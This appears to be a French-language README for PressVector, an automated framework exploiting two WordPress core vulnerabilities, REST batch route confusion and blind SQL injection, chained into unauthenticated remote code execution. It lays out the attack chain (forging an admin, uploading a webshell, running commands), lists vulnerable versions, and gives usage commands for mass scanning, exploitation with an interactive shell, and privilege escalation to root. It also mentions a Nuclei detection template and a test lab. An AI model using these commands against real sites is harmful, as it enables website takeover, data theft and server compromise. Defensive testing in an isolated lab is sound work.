
PressVector - Scanner avancé de vulnérabilités WordPress CVE-2026-63030 (confusion de routes batch REST) / CVE-2026-60137 (SQLi) Développeur : Vulnquest
⚡ Framework d'exploitation avancé RCE pré-auth & SQLi en aveugle pour le cœur de WordPress
PressVector est un framework d'exploitation complet et entièrement automatisé ciblant CVE-2026-63030 et CVE-2026-60137 — deux vulnérabilités critiques du cœur de WordPress qui, combinées, permettent une exécution de code à distance non authentifiée.
Le framework enchaîne une confusion de route REST Batch avec une injection SQL en aveugle pour forger des sessions administrateur, déployer des webshells et exécuter des commandes OS arbitraires — le tout sans aucun identifiant.
⚠️ Uniquement pour les tests de sécurité autorisés et à des fins éducatives.
CVE-2026-63030 est une vulnérabilité critique de RCE pré-authentification dans le cœur de WordPress, découverte par Adam Kues (Assetnote / Searchlight Cyber). L'exploit enchaîne deux vulnérabilités indépendantes :
| CVE | Avis | Type | Impact |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | Confusion de route REST Batch | RCE pré-auth |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | Injection SQL author__not_in | SQLi en aveugle pré-auth |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| Version de WordPress | CVE applicables | Impact | Statut |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 Blind SQLi (Élevé) | ❌ Vulnérable |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE Pre-Auth (Critique) | ❌ Vulnérable |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE Pre-Auth (Critique) | ❌ Vulnérable |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (Élevé) | ❌ Vulnérable |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ Corrigé | ✅ Sûr |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — Framework d'exploitation principalFramework d'exploitation complet avec 4 modes de fonctionnement.
scan — Scanner de vulnérabilités multi-ciblesScanner rapide et multi-threadé pour détecter les installations WordPress vulnérables à grande échelle.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — Confirmation d'injection SQL en aveugleConfirmez une injection SQL en aveugle basée sur le temps sur une cible unique avec calibration temporelle.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — Chaîne d'exploitation RCE complèteExploitation complète : forgeage d'admin → déploiement d'un webshell → exécution de commandes.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — Élévation de privilègesTenter une élévation de privilèges locale après avoir obtenu une RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Modèle de détection NucleiUn modèle Nuclei prêt pour la production, destiné à la détection passive à grande échelle.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
Fonctionnalités du modèle :
Un laboratoire de tests d'intrusion entièrement automatisé et conteneurisé est inclus pour tester ces vulnérabilités de manière sûre et isolée.
Windows (PowerShell) :
cd pressvector-lab
.\start-lab.ps1
Linux / macOS :
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(Attendez environ 60 à 90 secondes lors du premier lancement pour que l'installateur WP-CLI configure automatiquement tous les sites WordPress).
| Port | Service | Version de WordPress | Vulnérabilité / Statut |
|---|---|---|---|
| 8080 | Cible 1 | 6.8.5 | CVE-2026-60137 (SQLi aveugle uniquement) 🔴 |
| 8081 | Cible 2 | 6.9.4 | CVE-2026-63030 (RCE pré-authentification) 🔴 |
| 8082 | Cible 3 | 7.0.1 | CVE-2026-63030 (RCE pré-authentification) 🔴 |
| 8083 | Référence | Dernière version | Corrigé / Référence sûre ✅ |
| 8084 | PHPMyAdmin | — | Outil de gestion de base de données |
| 8085 | Tableau de bord du lab | — | Interface web avec statut des cibles et commandes copiables 🖥️ |
Identifiants administrateur : admin / admin123
Mot de passe root MySQL : root
Vous pouvez vérifier l'état complet du lab et les chemins d'exploitation à l'aide de la suite de tests automatisés :
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh ou .\stop-lab.ps1reset-lab.sh ou .\reset-lab.ps1